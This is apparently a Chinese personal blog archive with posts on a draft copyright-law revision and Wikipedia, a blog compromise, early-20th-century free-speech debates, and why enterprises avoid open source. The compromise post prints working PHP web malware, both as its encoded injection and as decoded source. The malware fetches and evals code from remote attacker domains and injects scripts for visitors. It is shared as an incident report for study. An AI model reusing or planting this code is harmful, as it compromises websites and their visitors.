中国新版著作权法对维基百科的影响

File:PD-icon.svg

4月初中国国家版权局发布了最新版的《中华人民共和国著作权法》修订草案,4月末最高法又公布了一个《最高人民法院关于审理侵犯信息网络传播权民事纠纷案件适用法律若干问题的规定(征求意见稿)》。我这里所说的“新版著作权法”就是指这两个而言。

摄影作品的著作权保护期被延长

在新的著作权法修订草案中将“电影作品和以类似摄制电影的方法创作的作品”改成了“视听作品”(见修订说明),并且规定其保护期为发表后50年,而原来同为保护期为发表后50年的摄影作品则不再单独提及,这也就意味着摄影作品的保护期限由原来的发表后50年变相延长为作者死亡後50年。

新版著作权法第二十七条相关规定:

视听作品,其著作权中的财产权利的保护期为首次发表后五十年,但作品自创作完成后五十年内未发表的,本法不再保护。

目前著作权法第二十一条相关规定:

电影作品和以类似摄制电影的方法创作的作品、摄影作品,其发表权、本法第十条第一款第(五)项至第(十七)项规定的权利的保护期为五十年,截止于作品首次发表后第五十年的12月31日,但作品自创作完成后五十年内未发表的,本法不再保护。

:在草案中,视听作品和摄影作品视为两种作品类型。其中,视听作品即现在著作权法中所指电影作品和以类似摄制电影的方法创作的作品(视听作品是指固定在一定介质上,由一系列有伴音 或者无伴音的画面组成,并且借助技术设备放映或者以其他方式传播的作品;——草案第三条第12款)。照片等属于摄影作品(摄影作品是指借助器械在感光材料 或者其他介质上记录客观物体形象的艺术作品——草案第三条第11款)。

草案第八十七条规定:

第八十七条 本法规定的著作权人和相关权人的权利,在本法施行之日尚未超过本法规定的保护期的,依照本法予以保护。
本法施行前发生的侵权或者违约行为,依照侵权或者违约行为发生时的有关规定和政策处理。

根据这一改变,在维基百科以及维基共享资源上的许多原本已经进入公有领域的摄影作品将可能从公有领域又转回受著作权保护状态。

网站外链侵权网页可能被视为侵权

最高法颁布的司法解释中规定:

第十一条 网络服务提供者仅通过搜索引擎根据网络用户指令自动提供搜索结果链接的,人民法院一般不认定其应知他人利用其网络服务侵害权利人信息网络传播权。

网络服务提供者有下列情形之一的,人民法院一般可以认定其构成应知侵权: (一)通过对热播影视作品、流行度较高的文字作品、音乐作品设置榜单、目录、索引并提供深层链接服务的; (二)通过描述性段落、内容简介等方式对链接作品、表演、录音录像制品等进行推荐的; (三)为主要从事侵权活动的第三方网站提供定向链接的; (四)可以认定应知的其他情形。

也就是说维基百科中的外链内容如果是侵权的,维基百科将可能被视为侵权。

 题外话:软件的著作权保护期

在新版著作权草案中,软件的著作权保护期继承了了原来的计算机软件保护条例的规定,其著作权保护期为作者逝世后50年。计算机软件作为飞速发展的作品,即使是50年的保护期都仍然过于漫长,更遑论作者逝世50年后作品才进入公有领域。这么长时间的保护期限,即使不说还有没有人会去用,恐怕很多软件在经过这么长时间之后,能不能在机器上跑起来都是一个问题。而这也就丧失了著作权设立保护期的意义。

著作权的保护期

著作权设立保护期,重要的一点是出于公众利益的考量。著作权不同于有形的财产,著作权持有人在作品上应当取得足够多的利益法律对此进行保护。而在足够长的时间后,作品的利益获取已经足够多,此时作品就进入公有领域,让所有人都可以在此作品的基础上进行再创作,最大化的利用作品的价值,成为人类共有的文化遗产。而这也正是中国著作权法立法的根本:

第一条 为保护文学、艺术和科学作品作者的著作权,以及与著作权有关的权益,鼓励有益于社会主义精神文明、物质文明建设的作品的创作和传播,促进社会主义文化和科学事业的发展与繁荣,根据宪法制定本法。

要知道,创立版权制度的初衷是:借由给予创作者一段时期的专有权利,作为(经济)刺激,以鼓励作者从事创作。当专有权利期间届止,作品便进入公有领域。公有领域的作品由于没有专属权利人,因此公众有权自由使用它们。

而对于前述的摄影作品而言,由于其介质的特殊性,作品难以长久保存,作者逝世后50年才进入公有领域的话,许多摄影作品可能已经无法再被公众加以利用创作。即使现在摄影作品越来越数字化,但是数字化内容的长期保存在科学界仍然还是一个难题。此外,对于软件而言,作者逝世后50年才进入公有领域,更是对公众的重复利用和再创作几乎无法产生价值,完全违背了著作权立法的初衷。

著作权的立法过程,本应该是对各方利益的平衡,但是现在这个草案,一方面对音乐人的利益过于剥夺,立法过于宽松;另一方面却又对公有领域进行侵占,立法过于严苛。实在搞不懂这个草案是怎么弄出来的?

如果你对著作权法草案有任何意见

4月30日前,可以通过以下途径和方式对修订草案提出意见:
1. 通过信函将意见寄至:北京市宣武门外大街40号新闻出版总署(国家版权局)法规司(邮政编码:100052),并在信封上注明“著作权法征求意见”字样。
2. 通过传真将意见传至:新闻出版总署(国家版权局)法规司010-83138643。
3. 通过电子邮件将意见发至:ncacfgs@126.com。

blog被入侵

前几日blog被入侵,在所有页面都被注入以下代码:

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?>

非常感谢 @zula和@tifan的帮助,清理掉了病毒,恢复了blog。用了一个很简单的办法:

find . -name “*.php” -exec sed -i ’1s///g’ {} \;

另外,@tifan还给出了病毒的源代码:

if (function_exists(‘ob_start’) && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists(‘mrobh’)) {
function get_tds_777($url) {
$content = “”;
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
if ($content !== false) return $content;
$content = @tryfsockopen_777($url);
if ($content !== false) return $content;
$content = @trysocket_777($url);
if ($content !== false) return $content;
return ”;
}
function trycurl_777($url) {
if (function_exists(‘curl_init’) === false) return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == “”) return false;
return $result;
}
function tryfile_777($url) {
if (function_exists(‘file’) === false) return false;
$inc = @file($url);
$buf = @implode(”, $inc);
if ($buf == “”) return false;
return $buf;
}
function tryfopen_777($url) {
if (function_exists(‘fopen’) === false) return false;
$buf = ”;
$f = @fopen($url, ‘r’);
if ($f) {
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
} else return false;
if ($buf == “”) return false;
return $buf;
}
function tryfsockopen_777($url) {
if (function_exists(‘fsockopen’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f) return false;
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
fwrite($f, $request);
$buf = ”;
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf); //\r\n\r\n
return $buf;
}
function trysocket_777($url) {
if (function_exists(‘socket_create’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2) return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
return false;
}
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
socket_write($sock, $request);
$buf = ”;
while ($t = socket_read($sock, 10000)) {
$buf. = $t;
}@socket_close($sock);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile) {
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == “”) $val = get_tds_777($actual2);
$f = @fopen($tdsfile, “w”);
if ($f) {@fwrite($f, $val);@fclose($f);
}
if (strstr($val, “|||CODE|||”)) {
list($val, $code) = explode(“|||CODE|||”, $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777() {
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir.”log1.txt”;
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() – $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode(“\n”, $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua) {
$mac = 0;
if (stristr($ua, “mac”) || stristr($ua, “safari”)) if ((!stristr($ua, “windows”)) && (!stristr($ua, “iphone”))) $mac = 1;
return $mac;
}
function is_msie_777($ua) {
$msie = 0;
if (stristr($ua, “MSIE 6″) || stristr($ua, “MSIE 7″) || stristr($ua, “MSIE 8″) || stristr($ua, “MSIE 9″)) $msie = 1;
return $msie;
}
function setup_globals_777() {
$rz = $_SERVER["DOCUMENT_ROOT"].”/.logs/”;
$mz = “/tmp/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"].”/.logs/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, “msnbot”) || stristr($ua, “Yahoo”)) $bot = 1;
if (stristr($ua, “bingbot”) || stristr($ua, “google”)) $bot = 1;
$msie = 0;
if (is_msie_777($ua)) $msie = 1;
$mac = 0;
if (is_mac_777($ua)) $mac = 1;
if (($msie == 0) && ($mac == 0)) $bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = “http://sweepstakesandcontestsdo.com/”;
$d = ‘?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = ‘http://www.lilypophilypop.com/g_load.php’.$d;
$_SERVER['s_a2'] = ‘http://www.lolypopholypop.com/g_load.php’.$d;
$_SERVER['s_script'] = “mm.php?d=1″;
}
setup_globals_777();
if (!function_exists(‘gml_777′)) {
function gml_777() {
$r_string_777 = ”;
if ($_SERVER['s_b1'] == 0) $r_string_777 = ‘‘;
return $r_string_777;
}
}
if (!function_exists(‘gzdecodeit’)) {
function gzdecodeit($decode) {
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack(‘v’, substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content) {@Header(‘Content-Encoding: none’);
$decoded_content = gzdecodeit($content);
if (preg_match(‘/\]*\>)/si’, gml_777().”\n”.’$1′, $decoded_content);
} else {
return $decoded_content.gml_777();
}
}
ob_start(‘mrobh’);
}
}

感兴趣的同学可以研究一下~~~

其实,这些问题我们在100年前都讨论过了…

民主,自由、宪政、公民权利等等,看完袁伟时的《告别中世纪》才知道,在1910-20年代,这些问题都已经讨论烂了。虽然那时中国政治上还很乱,人民还很贫穷,但那是中国有史以来言论最自由的年代。

现在我们一提民主,很多人就说,中国人素质低,一民主就乱了。100年前的很多中国人也这么看,陈独秀驳斥道:“中国社会….上面是极专制的政府,下面是极放任的人民,自己却有种种类乎自治团体的联合:乡村有宗祠,有神社,有团练;都会有会馆,有各种善堂,有义学,有各种工商业的公所;像这些各种联合,虽然和我们理想的民治隔的还远,却不能说中国人的民治制度,没有历史上的基础”(当时的“民治”即指“民主”)

100年前,国会对出版自由的一点点限制(对于当下而言,真的不过是一点点而已),找来了知识分子的群起而攻之,李大钊、胡适、高梦麟、蔡元培、陈独秀等等,这些我们现在耳熟能详的名人们都挺身而出,文檄笔伐,当时的中华全国报界联合会更是直接向国务院发表公开信,直斥政府妨害自由,公开信中白纸黑字声明“不自由毋宁死”。这种盛况现在再也见不到了,知识分子们都成了鸵鸟。

100年前,针对国会讨论将孔教定为国教的问题,陈独秀说,“无论何种学派,均不能定于一尊”。当今已经没几个人敢这么说了….

等等,等等…….

为什么不使用开源?

最近做一个项目,本想用开源软件做的,虽然我一直积极游说,但是几经周折后,最终还是放弃了。这次失败的尝试倒是使我深刻体会到许多企业不使用开源软件的某些原因了。这里我说的企业是指与IT、通讯、传媒关系不大的行业,广义上也可以包括许多政府机构。

不差钱

这个原因在私营企业可能不是主要的,但是在国有企业和政府机构却常常成为一个重要因素。虽然开源软件基本不需要花钱购买,但是由于认识上的差距,总觉得免费的东西是不好的,花钱买来的东西才是最好的,而且越贵越好,因此有时宁可花钱买一个心理上的安慰(有人说有个别机构甚至特意花钱买开源软件)。此外,反正花的不是自己的钱,完全不心疼。而且钱花得多,可以让领导认为这个项目非常重要,技术非常先进(其实未必),从而获得领导的赏识。

有人说,用开源软件就不好吃回扣了。其实虽然回扣这种事情时有发生,但是至少在我的经验看来,还不是普遍现象。另外一个原因就是体制的问题了,天价内存条这类事情的出现,撇开标价错误不谈,其实未必其中有人真的吃了回扣,而是现在的政府采购制度使然,许多国有企业也有自己类似的供应商制度。以我了解的某国有企业的供应商制度而言,购买任何东西,必须向在供应商名单内的企业购买,如果买的东西无法在名单内企业买的话,那么不仅仅要进行非常复杂的审批手续,而且还要通过名单中的供应商才能购买,并且要支付给该供应商一大笔费用(20%左右)。可想而知,供应商名单形成了一个半封闭的市场,在这个市场中的供应商都是各自商品的垄断者(基本上供应同类商品的供应商不太会超过3家),供应商们当然要哄抬物价,用比外部市场贵很多的价格卖,反正你只能买我的东西。而在这种体系下,缺乏技术实力的企业就不太会用开源的产品了。

没有技术实力

许多与IT、传媒、通信无关的企业,其在软件开方面缺乏技术人才,而开源软件常常需要做许多二次开发或维护,这些企业根本没有这个能力,或者即使有能力,但是因为这方面在企业中不是主要业务,常常不受重视,有软件开发技术的人才经常还要去做其他的许多工作,根本没有精力专门去开发。因此这类企业的模式常常是,对所用软件领域有一定了解的人确定好开发商,然后沟通需求,定下价格,订好合同,买进安装使用,企业的技术维护人员只是做一些简单的维护工作,较大的问题都要通过开发商来解决。

另一方面,如果使用开源软件,许多二次开发工作就需要找人帮助解决,而鉴于前面提到的经费使用问题,不仅手续异常繁琐,还要被供应商雁过拔毛,很难让企业的项目员工有足够的动力去做。

不安全

开源软件不安全是一个经常存在的认识误区。这主要是出于对开源软件的不了解造成的,这个问题其实反而是最容易解决的问题。只要有对开源了解比较清楚的人,把这个错误认识讲清楚,还是很容易被企业的领导认可的。

但是还有一个层面就是,许多开源软件可能没有商业公司来运营,如果进行二次开发的话往往只能找一些个人来做开发。而许多国有企业和政府机构对此会产生安全疑虑,生怕这种个人的开发者会不会窃取企业机密或政府机密,会让企业或政府机构感到对个人开发者缺乏约束力。

不用承担责任

不使用开源软件的另一个原因是,使用开源软件,如果出了问题责任就是自己的,但是如果从其他公司采购的,那么所有的责任就可以转嫁到那个公司上去了,恐怕这也是前面说道有企业宁可花钱买开源软件的一个原因了。总之,能不承担责任,就尽量不要去主动承担责任,这也是这类企业领导的信条。

—————————————————————————–

当然,真正不使用开源软件的原因,常常是上面几条的综合考虑的结果。,技术人员没有技术实力,没有时间精力去开发维护,领导不想承担不必要的责任,采购流程的制约,再加上不差钱,于是形成了与开源软件无缘的局面。

自由,是多么令人感动

最近,有两件事让我非常感动。

